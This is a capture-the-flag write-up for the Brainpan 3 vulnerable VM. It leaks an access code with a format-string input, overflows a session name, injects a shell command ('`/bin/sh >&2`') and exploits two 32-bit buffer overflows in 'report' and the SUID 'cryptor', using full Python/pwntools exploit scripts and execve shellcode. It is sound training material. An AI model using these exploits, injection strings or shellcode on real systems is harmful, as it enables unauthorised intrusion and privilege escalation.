published on in writeup
tags: brainpan

Brainpan: 3 - Part 1

As with the rest of the series, the focus of brainpan3 is on binary explotation. The challenges in this VM are certainly a step-up in terms of difficultly compared to brainpan’s 1 & 2, and require you to bypass many common protection mechanisms. On-and-off, it took me about 2 months to solve :s

Port Scan

[email protected]:~# nmap -n -sT -p- -T5 192.168.56.105

Not shown: 65533 filtered ports
PORT     STATE  SERVICE
1337/tcp open   waste
8080/tcp closed http-proxy

Access Code

[email protected]:~# nc 192.168.56.105 1337


  __ )    _ \      \    _ _|   \  |   _ \    \      \  |     _ _| _ _| _ _|
  __ \   |   |    _ \     |     \ |  |   |  _ \      \ |       |    |    | 
  |   |  __ <    ___ \    |   |\  |  ___/  ___ \   |\  |       |    |    | 
 ____/  _| \_\ _/    _\ ___| _| \_| _|   _/    _\ _| \_|     ___| ___| ___|

                                                            by superkojiman




AUTHORIZED PERSONNEL ONLY
PLEASE ENTER THE 4-DIGIT CODE SHOWN ON YOUR ACCESS TOKEN
A NEW CODE WILL BE GENERATED AFTER THREE INCORRECT ATTEMPTS

ACCESS CODE: 

If the code regenerates after 3 incorrect attempts, it’s very unlikely we can bruteforce it. With nothing else going for us, let’s see what else we can shove in.

You get a nice bit of ASCII art if you supply a large input.

ACCESS CODE: 1111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111


                      /´¯/) 
                    ,/¯  / 
                   /    / 
             /´¯/'   '/´¯¯`·¸ 
          /'/   /    /       /¨¯\ 
        ('(   ´   ´     ¯~/'   ') 
         \                 '     / 
          ''   \           _.·´ 
            \              ( 
              \__-_-____-___\   

If we try some format strings, we get a message that suggests we might be on the right track?

ACCESS CODE: %x.%x.%x.%x
ERROR #4: WHAT IS THIS, AMATEUR HOUR?

We find that %p works.

ACCESS CODE: %p.%p.%p.%p.%p.%p
ERROR #1: INVALID ACCESS CODE: 0xbfacf99c.(nil).0x1850.0xbfacf99c.(nil).0xa

Hopefully we can use this to find the access code on the stack. After some searching, we determine that the code is in the third postition and we can use the decimal format to dump it out.

ACCESS CODE: %3$d
ERROR #1: INVALID ACCESS CODE: 6224

ACCESS CODE: 6224

--------------------------------------------------------------
SESSION: ID-1300
  AUTH   [Y]    REPORT [N]    MENU   [Y]  
--------------------------------------------------------------


1  - CREATE REPORT
2  - VIEW CODE REPOSITORY
3  - UPDATE SESSION NAME
4  - SHELL
5  - LOG OFF

ENTER COMMAND: 

SHELL is obviously a troll.

ENTER COMMAND: 4
SELECTED: 4
[email protected] $ ls
total 0
-rw-rw-r-- 1 reynard reynard 22 May 10 22:26 .flag
-rw-rw-r-- 1 reynard reynard  0 May 10 22:26 never
-rw-rw-r-- 1 reynard reynard  0 May 10 22:26 gonna
-rw-rw-r-- 1 reynard reynard  0 May 10 22:26 give
-rw-rw-r-- 1 reynard reynard  0 May 10 22:26 you
-rw-rw-r-- 1 reynard reynard  0 May 10 22:26 up
-rw-rw-r-- 1 reynard reynard  0 May 10 22:26 never
-rw-rw-r-- 1 reynard reynard  0 May 10 22:26 gonna
-rw-rw-r-- 1 reynard reynard  0 May 10 22:26 let
-rw-rw-r-- 1 reynard reynard  0 May 10 22:26 you
-rw-rw-r-- 1 reynard reynard  0 May 10 22:26 down

Session Name

We have this banner across the top.

--------------------------------------------------------------
SESSION: ID-1300
  AUTH   [Y]    REPORT [N]    MENU   [Y]  
--------------------------------------------------------------

It has a session name but we can see that the report function is disabled. If we try and access it, we get told no :(

ENTER COMMAND: 1
SELECTED: 1
REPORT MODE IS DISABLED IN THIS BUILD
ENTER COMMAND: 3
SELECTED: 3
ENTER NEW SESSION NAME: new session
--------------------------------------------------------------
SESSION: new session
 �u
  AUTH   [Y]    REPORT [N]    MENU   [Y]  
--------------------------------------------------------------

When I modified the session name, I noticed some odd characters getting added underneath. So I started mucking around with this input. What I eventually found, was that I could overflow the values set here. See how MENU [A] is now set.

ENTER NEW SESSION NAME: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
--------------------------------------------------------------
SESSION: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
  AUTH   [Y]    REPORT [N]    MENU   [A]  
--------------------------------------------------------------

The postition required to overflow REPORT is 253.

ENTER COMMAND: 3
SELECTED: 3
ENTER NEW SESSION NAME: YYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYY
--------------------------------------------------------------
SESSION: YYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYY
  AUTH   [Y]    REPORT [Y]    MENU   [Y]  
--------------------------------------------------------------

Now we can access the report area.

ENTER COMMAND: 1
SELECTED: 1

ENTER REPORT, END WITH NEW LINE:

this is a report

REPORT [this is a report4]
SENDING TO REPORT MODULE

[+] WRITING REPORT TO /home/anansi/REPORTS/20150919124751.rep
[+] DATA SUCCESSFULLY ENCRYPTED
[+] DATA SUCCESSFULLY RECORDED
[+] RECORDED [����҄�Ҍҟ������]

On first impressions, it seems our input gets encrypted and stored in anansi's home directory. After some more experimenting I found that the input to report was vulnerable to a buffer overflow, since it was triggering the stack protection on the binary.

ENTER REPORT, END WITH NEW LINE:

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

REPORT [AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAYYY]
SENDING TO REPORT MODULE

*** stack smashing detected ***: /var/www/repo/report terminated
[+] WRITING REPORT TO /home/anansi/REPORTS/20150919124950.rep
[+] DATA SUCCESSFULLY ENCRYPTED
[+] DATA SUCCESSFULLY RECORDED
[+] RECORDED [�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������]
Aborted (core dumped)

It’s at this point we have to take a step back, without the actual binary to analyse I couldn’t see a way of progressing this further.

Some Trolls

Option 2 - VIEW CODE REPOSITORY opens up port 8080 that we saw closed earlier.

The robots file containts Disallow: /bp3_repo… which is yet another troll.

After more searching, we find a repo directory, with a simple listing.

Directory listing for /repo/

    bofh
    how-to-pwn-brainpan.jpg
    README.txt
    report
    shell 

bofh and shell (my fav) both seem to be trolls.

[email protected]:~# ./shell 
            ___
        .-"; ! ;"-.
      .'!  : | :  !`.
     /\  ! : ! : !  /\
    /\ |  ! :|: !  | /\
   (  \ \ ; :!: ; / /  )
  ( `. \ | !:|:! | / .' )
  (`. \ \ \!:|:!/ / / .')
   \ `.`.\ |!|! |/,'.' /
    `._`.\\\!!!// .'_.'
       `.`.\\|//.'.'
        |`._`n'_.'|
        "----^----"

     here's your shell

Report

The report binary is really where we need to focus our effort.

[email protected]:~/bp3# file report 
report: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.24, BuildID[sha1]=ba63c3cd3047efba60ab9d506bd5d954492c4660, not stripped

[email protected]:~/bp3# ./report 
./report <report> [0|1]

It doesn’t matter which option you choose (0 or 1), you get the same result.

               ____
           .-'&    '-.
          / __    __  \
         :-(__)--(__)--;
        (      (_       )
         :             ;
          \    __     /
           `-._____.-'
             /`"""`\
            /    ,  \
           /|/\/\/\ _\
          (_|/\/\/\\__)
            |_______|
           __)_ |_ (__
          (_____|_____)

       YOU'RE IN THE MATRIX
           CHARLIE BROWN

At some point, superkoijman showed me that this was from The Simpsons :)

Let’s get into the binary.

gdb-peda$ checksec 
CANARY    : ENABLED
FORTIFY   : disabled
NX        : ENABLED
PIE       : disabled
RELRO     : Partial

If we disassemble a function called cb, we spot a call to uname.

gdb-peda$ pdisass cb
   0x08048b44 <+32>:	call   0x8048640 <[email protected]>
   0x08048b49 <+37>:	mov    DWORD PTR [esp+0x4],0x8048e98

gdb-peda$ x/s 0x8048e98
0x8048e98:	"brainpan3"

So the hostname of the machine has to be brainpan3 before it’ll go any further. I’m sure you could just NOP it out in gdb, or just change the hostname of your machine. With that now working, I ran the binary twice.

BoF’ing

[email protected]:~/bp3# ./report test 1
[+] WRITING REPORT TO /home/anansi/REPORTS/20150919213852.rep
[+] DATA SUCCESSFULLY ENCRYPTED
[+] DATA SUCCESSFULLY RECORDED
[+] RECORDED [����]

[email protected]:~/bp3# ./report test 0
[+] WRITING REPORT TO /home/anansi/REPORTS/20150919213854.rep
[+] DATA SUCCESSFULLY ENCRYPTED
[+] DATA SUCCESSFULLY RECORDED
Segmentation fault

Obviously the SEGFAULT is interesting, so let’s run that again in gdb.

gdb-peda$ r test 0

Stopped reason: SIGSEGV
0x08040074 in ?? ()

You will notice that 74 is t. Putting in a slightly longer input, we find that we can controll EIP after just 3 bytes.

gdb-peda$ r AAABBBB 0

Stopped reason: SIGSEGV
0x42424242 in ?? ()

But where is the stack smashing message we saw earlier? Turns out this only happens when you run the binary with 1.

[email protected]:~/bp3# ./report AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA 1
[+] WRITING REPORT TO /home/anansi/REPORTS/20150919214423.rep
[+] DATA SUCCESSFULLY ENCRYPTED
[+] DATA SUCCESSFULLY RECORDED
[+] RECORDED [��������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������]
*** stack smashing detected ***: ./report terminated
Segmentation fault

So the way we are interacting with the binary over netcat, it is automatically run as 1 rather than 0. I went back to netcat to see if I could solve this problem before proceeding. After some expermenting, I found that you could prematurely terminate the command being run.

ENTER REPORT, END WITH NEW LINE:

"      

REPORT ["]
SENDING TO REPORT MODULE

sh: 1: Syntax error: Unterminated quoted string
ENTER REPORT, END WITH NEW LINE:

AAABBBB" 0"

REPORT [AAABBBB" 0"]
SENDING TO REPORT MODULE

Segmentation fault (core dumped)

It was around this point I discovered an easier way in.

ENTER REPORT, END WITH NEW LINE:

`/bin/sh >&2`

REPORT [`/bin/sh >&2`]
SENDING TO REPORT MODULE

id
uid=1000(anansi) gid=1003(webdev) groups=1000(anansi)

I wasn’t satisifed with getting through this way, so I carried on trying to solve the binary ‘properly’.

So after much disassembling, we find that we overwrite a pointer for REPORT with our buffer. If we break at main and dump the area of memory, there is nothing there. After our input gets written, we can see it on the stack.

gdb-peda$ b main
gdb-peda$ r AAABBBBCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC 0

gdb-peda$ x/12wx 0x804b0a0
0x804b0a0 <REPORT>:	0x00000000	0x00000000	0x00000000	0x00000000
0x804b0b0 <REPORT+16>:	0x00000000	0x00000000	0x00000000	0x00000000
0x804b0c0 <REPORT+32>:	0x00000000	0x00000000	0x00000000	0x00000000

gdb-peda$ c

Stopped reason: SIGSEGV
0x42424242 in ?? ()

gdb-peda$ x/12wx 0x804b0a0
0x804b0a0 <REPORT>:	0x42414141	0x43424242	0x43434343	0x43434343
0x804b0b0 <REPORT+16>:	0x43434343	0x43434343	0x43434343	0x43434343
0x804b0c0 <REPORT+32>:	0x43434343	0x43434343	0x43434343	0x43434343

The last bit of the puzzle is bypassing the NX protection. Actually… we don’t need to, as superkojiman already does this for us. There is a call to mprotect in main - I leave it as an exercise to the reader to verify, but it basically makes the REPORT region of memory rwx.

Now we’ve overwritten the pointer, we have to make a relative jump foward into our shellcode - truth be told, I couldn’t be bothered to work out by how much. So I slapped a +10 in and placed a handful of NOPs.

Testing this approach using a SIGTRAP.

gdb-peda$ r $(python -c ' print "AAA" + "\xb0\xb0\x04\x08" + "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" + "\xcc\xcc"') 0

Stopped reason: SIGTRAP
0x0804b0b2 in REPORT ()

Now to put it all together.

#!/usr/bin/env python

from pwn import *
import struct, re

r = remote("192.168.56.102", 1337)

r.recvuntil("CODE:")
r.send("%3$d\n")
recv = r.recvuntil("DIGITS")

pin = re.findall(r"INVALID ACCESS CODE: (.*?)\n", recv)[0]
print "Found Access Code: " + pin

r.send(pin + "\n")
r.recvuntil("COMMAND:")

print "Changing Session ID"

session = "Y" * 253
r.send("3\n")
r.recvuntil("NAME:")
r.send(session + "\n")
r.recvuntil("COMMAND:")

print "Creating Report"

rep = "AAA"
rep += p32(0x804b0a0 + 10)
rep += "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x31\xc9\xf7\xe1\xb0\x0b\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xcd\x80"
rep += '" 0"'

r.send("1\n")
r.send(rep + "\n")

print "Dropping into shell"

r.interactive()
[email protected]:~/bp3# ./report.py 
[+] Opening connection to 192.168.56.105 on port 1337: Done
Found Access Code: 2144
Changing Session ID
Creating Report
Dropping into shell
[*] Switching to interactive mode
 SELECTED: 1

ENTER REPORT, END WITH NEW LINE:


REPORT [AAA\xaa\xb0\x0\x90\x90\x90\x90\x90\x90\x90\x90\x90\x901����
                                                                   Qh//shh/bin\x89�̀" 0"\x16]
SENDING TO REPORT MODULE

$ id
uid=1000(anansi) gid=1003(webdev) groups=1000(anansi)

Reynard

$ ls -l /home/reynard/private
total 16
-rwsr-xr-x 1 reynard reynard 5568 May 19 18:28 cryptor
-r-------- 1 reynard reynard   77 May 21 10:42 sekret.txt.enc

Here we have a SUID binary owned by reynard. It’s difficult to get files in and out of brainpan3, as there seem to be really strict firewall rules in place. So to transfer it to my machine for analysis, I used xxd and copied the output in the Terminal.

The binary doesn’t appear to do very much, unless I’m not using it properly…

[email protected]:~/bp3# ./cryptor
Usage: ./cryptor file key
[email protected]:~/bp3# echo test>test
[email protected]:~/bp3# ./cryptor test qwerty
[+] saving to test.enc
[email protected]:~/bp3# cat test.enc 
test

It’s a stripped binary, but doesn’t have much in the way of protections.

[email protected]:~/bp3# file cryptor
cryptor: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.24, BuildID[sha1]=9b8ec7935e7b95d1897867969c43303940c4407e, stripped

gdb-peda$ checksec 
CANARY    : disabled
FORTIFY   : disabled
NX        : disabled
PIE       : disabled
RELRO     : Partial

Simply running strings reveals that strcpy is in use somewhere. I actually disassembled the binary in a trial version of Hopper - and we can see that it does a string length check on the input arguments. This is the Hopper pseudo-code:

    if (strlen(arg0) > 0x74) {
            strncpy(var_78, arg0, 0x5a);
    }
    else {
            strcpy(var_78, arg0);
    }

So if we supply an input for argv0 of 116 bytes, it will get passed to strcpy rather than strncpy.

gdb-peda$ r $(python -c 'print "A" * 116') qwerty

EAX: 0x0 
EBX: 0x41414141 ('AAAA')
ECX: 0x0 
EDX: 0x0 
ESI: 0x0 
EDI: 0x636e652e ('.enc')
EBP: 0x1 
ESP: 0xbffff308 --> 0xb7e14a68 --> 0x1df7 
EIP: 0xb7fb57e0 --> 0x0

Stopped reason: SIGSEGV
0xb7fb57e0 in _IO_wfile_jumps () from /lib/i386-linux-gnu/i686/cmov/libc.so.6

That’s a start, but we don’t yet control EIP. I tried it again, but with a longer key.

gdb-peda$ r $(python -c 'print "A" * 116 + " " + "B" * 100')

EAX: 0x0 
EBX: 0x41414141 ('AAAA')
ECX: 0x0 
EDX: 0x0 
ESI: 0x0 
EDI: 0x636e652e ('.enc')
EBP: 0x41414141 ('AAAA')
ESP: 0xbffff308 ('A' <repeats 100 times>)
EIP: 0x41414141 ('AAAA')

Stopped reason: SIGSEGV
0x41414141 in ?? ()

Much more promising! By using pattern create/offset I found that EIP gets overwritten after only 4 bytes, but the total string length still has to be 116 to trigger the overwrite. Let’s target EIP specifically.

#!/usr/bin/env python

import struct

buf = "AAAA"            # first junk
buf += "BBBB"           # eip
buf += "C" * (116-8)    # padding to reach 116
buf += " "
buf += "D" * 100        # key

print buf
gdb-peda$ r $(./cryptor.py)

Stopped reason: SIGSEGV
0x42424242 in ?? ()

Question now, is where to jump to? Well it turns out that the data for ‘key’ is always stored in the same place in memory. Something we can verify in gdb just by searching for our input.

gdb-peda$ find 'DDDD'
Searching for 'DDDD' in: None ranges
Found 50 results, display max 50 items:
cryptor : 0x804a080 ('D' <repeats 100 times>)

No matter how many times you re-run the binary, the data is always located at 0x804a080. This means we can place shellcode here and jump to it quite reliably - something which I again tested with SIGTRAPs.

#!/usr/bin/env python

import struct

def p(x):
        return struct.pack('<L', x)

buf = "AAAA"            # first junk
buf += p(0x804a080)     # eip
buf += "C" * (116-8)    # padding to reach 116
buf += " "
buf += "\xcc" * 100     # key

print buf
Stopped reason: SIGTRAP
0x0804a081 in ?? ()

Now smash some shellcode in.

#!/usr/bin/env python

import struct

def p(x):
        return struct.pack('<L', x)

buf = "AAAA"           # padding
buf += p(0x804a080)     # key always stored here
buf += "C" * 108        # junk to reach 116
buf += " "
buf += "\x31\xc9\xf7\xe1\xb0\x0b\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xcd\x80"

print buf

I copied it across to brainpan3 using xxd and ran it. It can take a few attempts for it to work.

$ ./cryptor $(./cryptor.py)
Segmentation fault (core dumped)
$ ./cryptor $(./cryptor.py)
$ id
uid=1000(anansi) gid=1003(webdav) euid=1002(reynard) groups=1002(reynard)